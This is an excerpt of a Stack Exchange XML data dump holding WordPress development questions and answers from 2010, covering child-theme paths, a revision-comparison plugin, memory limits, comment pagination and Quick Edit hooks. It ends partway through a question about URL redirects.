  <row Id="3310" PostTypeId="2" ParentId="3293" CreationDate="2010-10-26T12:50:42.207" Score="5" ViewCount="" Body="&lt;p&gt;Child themes reference parent themes by directory name, and in a normal install all your themes live in &lt;code&gt;wp-content/themes/&lt;/code&gt;, so I'd say it's fine to reference those themes by their relative path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include '../parent-theme/some-file.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that makes you uncomfortable, I observe the following constants in WordPress 3.0.1 with a &lt;em&gt;twentyten&lt;/em&gt; child theme called &lt;em&gt;tt-child&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TEMPLATEPATH     /home/adam/public_html/wp3/wp-content/themes/twentyten&#xA;STYLESHEETPATH   /home/adam/public_html/wp3/wp-content/themes/tt-child&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can do the following in your child theme to reference the parent theme directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include TEMPLATEPATH . '/some-file.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-10-26T12:50:42.207" CommentCount="1" />
  <row Id="3311" PostTypeId="1" AcceptedAnswerId="3329" CreationDate="2010-10-26T13:02:29.057" Score="0" ViewCount="179" Body="&lt;p&gt;I've tried three plugins to do this, non of them worked (I'm using WP 3.01):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sem-external-links/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/sem-external-links/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/external-nofollow/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/external-nofollow/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/nofollow-external-links/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/nofollow-external-links/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-10-26T19:33:17.273" Title="Adding rel=&quot;nofollow&quot; to external links in posts?" Tags="&lt;plugins&gt;&lt;nofollow&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="3312" PostTypeId="2" ParentId="3253" CreationDate="2010-10-26T13:26:55.890" Score="4" ViewCount="" Body="&lt;p&gt;My solution works in two ways: it disables selection of two identical revisions by modifying &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/js/wp-list-revisions.dev.js&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;list-revisions&lt;/code&gt; Javascript file&lt;/a&gt;, and if by some means two identical revisions do get selected, it offers a real error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This screenshot gives you a quick overview of the error message, and the effect of the new Javascript. As you can see, it is no longer possible to select the same revision twice. If you want to see the effect you either have to disable the Javascript (comment out the &lt;code&gt;add_action(('wp_default_scripts', ...&lt;/code&gt; line) or manually change the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/L1pvM.png&quot; alt=&quot;Comparison of the old and new revision screens&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is written as a plugin. For a multisite installation you could maybe drop it in &lt;code&gt;mu-plugins&lt;/code&gt;, and let the initialization depend on a database configuration option. That way you can enable or disable it for different clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Comments on my plugin writing style are welcome, I tried to separate the code into three logical blocks.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main plugin file. This file switches the &lt;code&gt;list-revisions&lt;/code&gt; Javascript file with a &quot;safer&quot; version that prevents the selection of the same revision twice. It also checks the &lt;code&gt;admin_action_diff&lt;/code&gt; action and shortcuts to an own page with an error message if the two revisions are equal. The new page is written in &lt;code&gt;ui-identical.php&lt;/code&gt; to separate code and layout.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Myxomatosis&#xA;Plugin URI: http://www.monkeyman.be/&#xA;Description: Kill the Easter Bunny and his eggs!&#xA;Version: 1.0&#xA;Author: Jan Fabry&#xA;*/&#xA;&#xA;class Myxomatosis&#xA;{&#xA;    function __construct()&#xA;    {&#xA;        add_action('admin_action_diff', array(&amp;amp;$this, 'checkEqualDiff'));&#xA;        add_action('wp_default_scripts', array(&amp;amp;$this, 'loadSafeListRevisions'), 20);&#xA;    }&#xA;&#xA;    function checkEqualDiff()&#xA;    {&#xA;        global $left, $right;&#xA;        if (!array_key_exists('left', $_REQUEST) || !array_key_exists('right', $_REQUEST)) {&#xA;            return;&#xA;        }&#xA;        $left = absint($_REQUEST['left']);&#xA;        $right = absint($_REQUEST['right']);&#xA;&#xA;        if (!$left || !$right || $left != $right) {&#xA;            // Nothing wrong, they are not equal&#xA;            return;&#xA;        }&#xA;&#xA;        // They are equal. Set up globals so UI can be included&#xA;        // Which globals do I need here?&#xA;        global $title, $hook_suffix, $pagenow, $is_iphone, $current_screen, $user_identity, $post, $wp_locale;&#xA;&#xA;        $post = get_post($left);&#xA;        if ($post-&amp;gt;post_parent) {&#xA;            $post = get_post($post-&amp;gt;post_parent);&#xA;        }&#xA;&#xA;        require_once(plugin_dir_path(__FILE__) . 'ui-identical.php');&#xA;        exit();&#xA;    }&#xA;&#xA;    function loadSafeListRevisions(&amp;amp;$scripts)&#xA;    {&#xA;        $scripts-&amp;gt;remove('list-revisions');&#xA;        $scripts-&amp;gt;add('list-revisions', plugin_dir_url(__FILE__) . 'safe-list-revisions.dev.js', null, '20101026' );&#xA;    }&#xA;}&#xA;&#xA;$myxomatosis_instance = new Myxomatosis();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File &lt;code&gt;ui-identical.php&lt;/code&gt;, in the plugin directory. This creates the page to show if the two revisions are the same. The revision list is shown again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;wp_enqueue_script('list-revisions');&#xA;&#xA;$post_title = '&amp;lt;a href=&quot;' . get_edit_post_link() . '&quot;&amp;gt;' . get_the_title() . '&amp;lt;/a&amp;gt;';&#xA;$h2 = sprintf( __( 'Compare Revisions of &amp;amp;#8220;%1$s&amp;amp;#8221;' ), $post_title );&#xA;$title = __( 'Revisions' );&#xA;&#xA;require_once(ABSPATH . '/wp-admin/admin-header.php');&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;    &amp;lt;h2 class=&quot;long-header&quot;&amp;gt;&amp;lt;?php echo $h2; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;error&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;?php _e( 'You selected two identical revisions' ); ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;h2&amp;gt;&amp;lt;?php echo $title; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;&#xA;$args = array( 'format' =&amp;gt; 'form-table', 'parent' =&amp;gt; true, 'right' =&amp;gt; $right, 'left' =&amp;gt; $left );&#xA;if ( ! WP_POST_REVISIONS || !post_type_supports($post-&amp;gt;post_type, 'revisions') )&#xA;    $args['type'] = 'autosave';&#xA;&#xA;wp_list_post_revisions( $post, $args );&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;require_once(ABSPATH . '/wp-admin/admin-footer.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File &lt;code&gt;safe-list-revisions.dev.js&lt;/code&gt;, in the plugin directory. The logic is split up in two loops: one to read the current checked buttons, and one to hide and show the others. This is might simpler than the original version, and allows some tweaking in the middle.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function(w) {&#xA;    var init = function() {&#xA;        var pr = document.getElementById('post-revisions'),&#xA;        var inputs = pr ? pr.getElementsByTagName('input') : [];&#xA;        if (inputs.length &amp;lt;= 2) {&#xA;            // Sanity check: if there is only one revision, hide nothing&#xA;            // Not that we should get here...&#xA;            return;&#xA;        }&#xA;        // For simplicity, only one click handler is registered on the whole #post-revisions table&#xA;        pr.onclick = function() {&#xA;            var i, checkCount = 0, side;&#xA;            var checkedIdx = {};&#xA;            for (i = 0; i &amp;lt; inputs.length; i++) {&#xA;                if (inputs[i].checked) {&#xA;                    side = inputs[i].getAttribute('name');&#xA;                    checkedIdx[side] = i;&#xA;                }&#xA;            }&#xA;            if (checkedIdx['left'] + 1 == checkedIdx['right']) {&#xA;                // The same revisions are checked&#xA;                // Move left down (or right up, if left is at the bottom)&#xA;                // There should always be at least two revisions (see sanity check above)&#xA;                if (checkedIdx['left'] + 2 &amp;lt; inputs.length) {&#xA;                    checkedIdx['left'] += 2;&#xA;                    inputs[checkedIdx['left']].checked = true;&#xA;                } else {&#xA;                    checkedIdx['right'] -= 2;&#xA;                    inputs[checkedIdx['right']].checked = true;&#xA;                }&#xA;            }&#xA;            if (checkedIdx['left'] &amp;lt; checkedIdx['right']) {&#xA;                // 'Old' is newer than 'New', so switch them&#xA;                // We sometimes get this - don't know why&#xA;                var origLeft = checkedIdx['left'];&#xA;                checkedIdx['left'] = checkedIdx['right'] - 1;&#xA;                checkedIdx['right'] = origLeft + 1;&#xA;&#xA;                inputs[checkedIdx['left']].checked = true;&#xA;                inputs[checkedIdx['right']].checked = true;&#xA;            }&#xA;            // Loop again, hide what we should not see&#xA;            // 'left' buttons should be hidden until we see a checked 'right' button&#xA;            // 'right' buttons should be visible until we see a checked 'left' button&#xA;            for (i = 0; i &amp;lt; inputs.length; i++) {&#xA;                side = inputs[i].getAttribute('name');&#xA;                if ('left' == side) {&#xA;                    inputs[i].style.visibility = (i &amp;lt; checkedIdx['right'] ? 'hidden' : 'visible');&#xA;                } else if ('right' == side) {&#xA;                    inputs[i].style.visibility = (checkedIdx['left'] &amp;lt; i ? 'hidden' : 'visible');&#xA;                }&#xA;            }&#xA;        }&#xA;        pr.onclick();&#xA;    }&#xA;    if ( w &amp;amp;&amp;amp; w.addEventListener )&#xA;        w.addEventListener('load', init, false);&#xA;    else if ( w &amp;amp;&amp;amp; w.attachEvent )&#xA;        w.attachEvent('onload', init);&#xA;})(window);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-10-27T06:48:09.220" LastActivityDate="2010-10-27T06:48:09.220" CommentCount="1" />
  <row Id="3313" PostTypeId="2" ParentId="3184" CreationDate="2010-10-26T13:39:19.760" Score="0" ViewCount="" Body="&lt;p&gt;I think if you set the &lt;code&gt;$content_width&lt;/code&gt; global variable (in your theme's &lt;code&gt;functions.php&lt;/code&gt; for example), all images will be resized to be no wider than that. Remember to also change the settings for the large image size, otherwise &lt;a href=&quot;http://stackoverflow.com/questions/3089844/content-width-wordpress&quot;&gt;it will be confusing to users why they can't use that size anymore&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-26T13:39:19.760" CommentCount="1" />
  <row Id="3314" PostTypeId="1" CreationDate="2010-10-26T13:47:13.047" Score="1" ViewCount="145" Body="&lt;p&gt;I just recently started learning Custom Post Types, but haven't been able to find any documentation that would allow me (at least in the admin) to nest them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My requirements are, a book post type with cover image (feature image) and description/summary (editor), and a chapter post type with chapter image (featured image), editor, excerpt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these are easy, and really quick to accomplish, only hard part is I need them nested, so when you click into a book in the admin, you can see/edit the details, and add a chapter from there.&lt;/p&gt;&#xA;" OwnerUserId="474" LastActivityDate="2010-10-26T14:28:52.420" Title="How to associate two different post types (think Book and Chapter)" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="3315" PostTypeId="2" ParentId="3314" CreationDate="2010-10-26T14:28:52.420" Score="1" ViewCount="" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://scribu.net/wordpress/posts-to-posts&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts plugin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-26T14:28:52.420" CommentCount="2" />
  <row Id="3316" PostTypeId="1" AcceptedAnswerId="3325" CreationDate="2010-10-26T14:36:00.420" Score="6" ViewCount="748" Body="&lt;p&gt;I've used add_meta_box() to add a custom meta box to the WordPress edit window on both pages and posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make this meta box also show on the &quot;Quick Edit&quot; screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like it to appear just to the right of the Categories selector.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-30T11:12:37.583" Title="How to show a custom meta box on the &quot;Quick Edit&quot; screen?" Tags="&lt;theme-development&gt;&lt;metabox&gt;" AnswerCount="3" FavoriteCount="4" />
  <row Id="3317" PostTypeId="2" ParentId="3305" CreationDate="2010-10-26T15:27:00.700" Score="5" ViewCount="" Body="&lt;p&gt;Theoretically, editing your config.php and add this line &lt;strong&gt;before&lt;/strong&gt; wp-settings.php inclusion.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_MEMORY_LIMIT', '256M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;should&lt;/strong&gt; raise your memory limit for WordPress to 256MB or whatever value you set. And this will work sitewide. However, as &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3305/how-to-use-more-than-256mb-of-memory-in-the-admin/3309#3309&quot;&gt;sorich87 pointed out&lt;/a&gt;, there are few functions that will alter this setting with hard coded 256 MB limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To Hack or Not To Hack&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little concern about this, &lt;code&gt;WP_MEMORY_LIMIT&lt;/code&gt; is one of the most strange WP setting I've encountered. if you check &lt;code&gt;/wp-includes/default-constants.php&lt;/code&gt; you'll find this setting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// set memory limits&#xA;if ( !defined('WP_MEMORY_LIMIT') ) {&#xA;    if( is_multisite() ) {&#xA;        define('WP_MEMORY_LIMIT', '64M');&#xA;    } else {&#xA;        define('WP_MEMORY_LIMIT', '32M');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I never realize that WP will set it's default memory usage so low, until I find this in WP codex:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WordPress will automatically check if PHP has been allocated less memory than the entered value before utilizing this function. For example, if PHP has been allocated 64MB, there is no need to set this value to 64M as WordPress will automatically use all 64MB if need be.(&lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That explanation was relieving. However, the usage of hard coded &lt;code&gt;@ini_set('memory_limit', '256M');&lt;/code&gt; everytime WP execute function that need more memory is &lt;strong&gt;never mentioned&lt;/strong&gt;. In fact, I find no explanation about this vague behavior from WP codex. Since most of non user-related functions are either not documented or not clearly explained in codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this setting work nicely on most case, it will make those functions useless on server with lower max memory setting or on your case, higher memory usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until WP guys fix this, I think your only solution is to modify the core. You may find &lt;a href=&quot;http://hakre.wordpress.com/2010/08/17/mysteries-about-the-wordpress-memory-limit/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; written by hakre interesting to read. He also submit a &lt;a href=&quot;http://core.trac.wordpress.org/attachment/ticket/13847/13847.patch&quot; rel=&quot;nofollow&quot;&gt;patch recommendation&lt;/a&gt; in Trac. Previous link to patch file may help you to find list of function that use this setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&#xA;this is the most stupid answer I've ever give because &lt;a href=&quot;http://hakre.wordpress.com/2010/08/17/mysteries-about-the-wordpress-memory-limit/&quot; rel=&quot;nofollow&quot;&gt;I give a link to your own post&lt;/a&gt; (just realize that OP name was &lt;strong&gt;hakre&lt;/strong&gt; after 2 days) :D&lt;/p&gt;&#xA;" OwnerUserId="1121" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-09T22:22:15.367" LastActivityDate="2011-02-09T22:22:15.367" CommentCount="3" />
  <row Id="3318" PostTypeId="1" AcceptedAnswerId="3319" CreationDate="2010-10-26T15:47:28.763" Score="3" ViewCount="1487" Body="&lt;p&gt;Is there an easy way to paginate the result set coming from $wpdb-&gt;get_results()?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to get a paginated list of a user's comments on the author_archive page - some of the users of the community have &gt; 500 comments, so pagination is important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an in-built way of doing this with WordPress, or do I need to build it myself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Updated to add code]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Show comments --&amp;gt;&#xA;&amp;lt;?php &#xA;$querystr = &quot;&#xA;    SELECT comment_ID, comment_post_ID, post_title, LEFT(comment_content,100) as comment_content, comment_date_gmt&#xA;    FROM $wpdb-&amp;gt;comments, $wpdb-&amp;gt;posts&#xA;    WHERE user_id = $thisauthor-&amp;gt;ID&#xA;    AND comment_post_id = ID&#xA;    AND comment_approved = 1&#xA;    ORDER BY comment_ID DESC&#xA;    LIMIT 100&#xA; &quot;;&#xA;&#xA;&#xA;$comments_array = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&#xA;if ($comments_array): ?&amp;gt;&#xA;    &amp;lt;div id=&quot;author-comments-list&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Recent Comments &amp;lt;/h2&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;? &#xA;                $odd_even = &quot;odd&quot;;&#xA;                foreach ($comments_array as $comment):&#xA;                    echo &quot;&amp;lt;li class='$odd_even'&amp;gt;&amp;lt;a href='&quot;. get_bloginfo('url') .&quot;/?p=&quot;.$comment-&amp;gt;comment_post_ID.&quot;/#comment-&quot;. $comment-&amp;gt;comment_ID .&quot;'&amp;gt;&quot;. $comment-&amp;gt;post_title .&quot;&amp;lt;/a&amp;gt; : &quot;.mysql2date('l jS F, Y, g:ia',$comment-&amp;gt;comment_date_gmt);&#xA;                    echo &quot;&amp;lt;div class='author-comments-content'&amp;gt;&quot;.$comment-&amp;gt;comment_content.&quot;&amp;lt;/li&amp;gt;&quot;;&#xA;                    $odd_even = ($odd_even == &quot;odd&quot; ? &quot;even&quot; : &quot;odd&quot;);&#xA;               endforeach; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &#xA;&amp;lt;? endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2010-10-27T00:25:05.463" LastActivityDate="2011-04-13T22:50:25.060" Title="Paginate result set from $wpdb-&gt;get_results()" Tags="&lt;comments&gt;&lt;pagination&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="3319" PostTypeId="2" ParentId="3318" CreationDate="2010-10-26T15:55:54.513" Score="3" ViewCount="" Body="&lt;p&gt;You can use the function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/paginate_links&quot; rel=&quot;nofollow&quot;&gt;paginate_links()&lt;/a&gt; for any pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your specific case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$total = $wpdb-&amp;gt;get_var(&quot;&#xA;    SELECT COUNT(comment_ID)&#xA;    FROM $wpdb-&amp;gt;comments&#xA;    WHERE user_id = $thisauthor-&amp;gt;ID&#xA;    AND comment_post_id = ID&#xA;    AND comment_approved = 1&#xA;&quot;);&#xA;$comments_per_page = 100;&#xA;$page = isset( $_GET['cpage'] ) ? abs( (int) $_GET['cpage'] ) : 1;&#xA;&#xA;echo paginate_links( array(&#xA;    'base' =&amp;gt; add_query_arg( 'cpage', '%#%' ),&#xA;    'format' =&amp;gt; '',&#xA;    'prev_text' =&amp;gt; __('&amp;amp;laquo;'),&#xA;    'next_text' =&amp;gt; __('&amp;amp;raquo;'),&#xA;    'total' =&amp;gt; ceil($total / $comments_per_page),&#xA;    'current' =&amp;gt; $page&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-27T22:34:41.170" LastActivityDate="2010-10-27T22:34:41.170" CommentCount="5" />
  <row Id="3320" PostTypeId="1" AcceptedAnswerId="3322" CreationDate="2010-10-26T16:35:16.880" Score="1" ViewCount="191" Body="&lt;p&gt;I am presently trying to call the fields of a custom widget using get_option and loop through the array created from the get_option() call. The issue is that it is outputting a blank one at the end, resulting in one extra than what I have enabled. Here is the code I have at the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            $the_team = get_option('widget_jcMeetTeam');&#xA;            $the_id = 1; //used for an ID increment for the jquery this will be used for&#xA;            print_r ($the_team);&#xA;    if (count($the_team) &amp;gt; 1) {&#xA;            foreach ($the_team as $team_member) {&#xA;                    extract($team_member);&#xA;&#xA;                            echo '&amp;lt;div class=&quot;panel&quot; id=&quot;'.$the_id.'&quot;&amp;gt;&#xA;                            &amp;lt;img src=&quot;'.get_bloginfo('template_url').'/images/about_lgplace.png&quot;&amp;gt;&#xA;                            &amp;lt;h2&amp;gt;'.$team_member['jc_name'].'&amp;lt;/h2&amp;gt;;&#xA;                            &amp;lt;p&amp;gt;Occupation: '.$team_member['jc_occupation'].'&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;Favorite Wine: '.$team_member['jc_favwine'].'&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;About: '.$team_member['jc_about'].'&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt; ';&#xA;                    ++$the_id; //increment for next panel ID&#xA;            }&#xA;    } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am presently trying to figure out how to get the loop to stop before the last blank one gets displayed, giving an accurate listing of active widget instances.&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2010-10-26T17:27:55.103" Title="get_option returns undesired blank instance of a widget" Tags="&lt;widgets&gt;&lt;options&gt;" AnswerCount="2" />
  <row Id="3321" PostTypeId="2" ParentId="3320" CreationDate="2010-10-26T17:05:19.897" Score="0" ViewCount="" Body="&lt;p&gt;I think the issue is due to an empty record in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can verify if $team_member is empty. Add the following before &lt;code&gt;extract($team_member);&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( empty($team_member) ) continue;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If $team_member is empty, the code after this will not be run.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-26T17:05:19.897" CommentCount="2" />
  <row Id="3322" PostTypeId="2" ParentId="3320" CreationDate="2010-10-26T17:27:55.103" Score="1" ViewCount="" Body="&lt;p&gt;No further help is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;unset($the_team['_multiwidget']); worked, and was the element in the array that was showing up at the end of the call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will have to research what that part is exactly for future reference.&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2010-10-26T17:27:55.103" />
  <row Id="3323" PostTypeId="2" ParentId="3184" CreationDate="2010-10-26T17:56:12.537" Score="0" ViewCount="" Body="&lt;p&gt;If your concern is about discarding the original images to conserve space. I think you might have to hook the 'add_attachment' action to delete the original after resizing. In combination with Jan's suggestion about setting your $content_width variable to your maximum size, this should do the trick.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-10-26T17:56:12.537" />
  <row Id="3324" PostTypeId="2" ParentId="3216" CreationDate="2010-10-26T18:12:59.863" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Post 2 Post plugin&lt;/a&gt; by Scribu is exactly what I needed.&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2010-10-26T18:12:59.863" />
  <row Id="3325" PostTypeId="2" ParentId="3316" CreationDate="2010-10-26T18:35:31.467" Score="8" ViewCount="" Body="&lt;p&gt;There seems to be no easy way to do this, you must add all code yourself. &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/template.php#L849&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;inline_edit_row()&lt;/code&gt;&lt;/a&gt;, the function that draws the Quick Edit and Bulk Edit screens, seems to have only one action that you can hook into: &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/template.php#L1147&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;quick_edit_custom_box&lt;/code&gt; or &lt;code&gt;bulk_edit_custom_box&lt;/code&gt;&lt;/a&gt;. It gets called for all non-core columns that &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/template.php#L599&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_manage_posts_columns()&lt;/code&gt;&lt;/a&gt; returns. There are some filters you can use to add a column, for example &lt;code&gt;manage_posts_columns&lt;/code&gt;. Unfortunately, this function defines the column headers of the post table, so you should remove it again before &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/template.php#L773&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;print_column_headers()&lt;/code&gt;&lt;/a&gt; prints them. This can be done in the &lt;code&gt;get_column_headers()&lt;/code&gt; function, with &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/template.php#L761&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;manage_[screen_id]_headers&lt;/code&gt; filter&lt;/a&gt;. &lt;code&gt;edit-post&lt;/code&gt; is the screen id for the Edit Posts screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All together, this gives a hack like the following to add some code. Finding out where you can handle the form submission is (currently) left as a exercise to the reader.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add a dummy column for the `posts` post type    &#xA;add_filter('manage_posts_columns', 'add_dummy_column', 10, 2);&#xA;function add_dummy_column($posts_columns, $post_type)&#xA;{&#xA;    $posts_columns['dummy'] = 'Dummy column';&#xA;    return $posts_columns;&#xA;}&#xA;// But remove it again on the edit screen (other screens to?)&#xA;add_filter('manage_edit-post_columns', 'remove_dummy_column');&#xA;function remove_dummy_column($posts_columns)&#xA;{&#xA;    unset($posts_columns['dummy']);&#xA;    return $posts_columns;&#xA;}&#xA;&#xA;// Add our text to the quick edit box&#xA;add_action('quick_edit_custom_box', 'on_quick_edit_custom_box', 10, 2);&#xA;function on_quick_edit_custom_box($column_name, $post_type)&#xA;{&#xA;    if ('dummy' == $column_name) {&#xA;        echo 'Extra content in the quick edit box';&#xA;    }&#xA;}&#xA;&#xA;// Add our text to the bulk edit box&#xA;add_action('bulk_edit_custom_box', 'on_bulk_edit_custom_box', 10, 2);&#xA;function on_bulk_edit_custom_box($column_name, $post_type)&#xA;{&#xA;    if ('dummy' == $column_name) {&#xA;        echo 'Extra content in the bulk edit box';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-26T18:35:31.467" CommentCount="2" />
  <row Id="3326" PostTypeId="1" AcceptedAnswerId="3328" CreationDate="2010-10-26T18:52:03.920" Score="1" ViewCount="187" Body="&lt;p&gt;hey all! i have an odd problem with URL routing. when i request a URL that doesn't exist, e.g. &lt;a href=&quot;http://localhost/foo&quot; rel=&quot;nofollow&quot;&gt;http://localhost/foo&lt;/a&gt;, wordpress correctly returns a 404. however, if that URL is a prefix of a post or page name, it instead returns a 301 redirect to the post or page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example, if i have a post on 10/1/2010 named Food Post, it will return a 301 with Location: &lt;a href=&quot;http://localhost/2010-10-01_food_post&quot; rel=&quot;nofollow&quot;&gt;http://localhost/2010-10-01_food_post&lt;/a&gt; (my permalink structure). likewise, if i have a page named Food Page, it will return a 301 with Location: &lt;a href=&quot;http://localhost/food_page&quot; 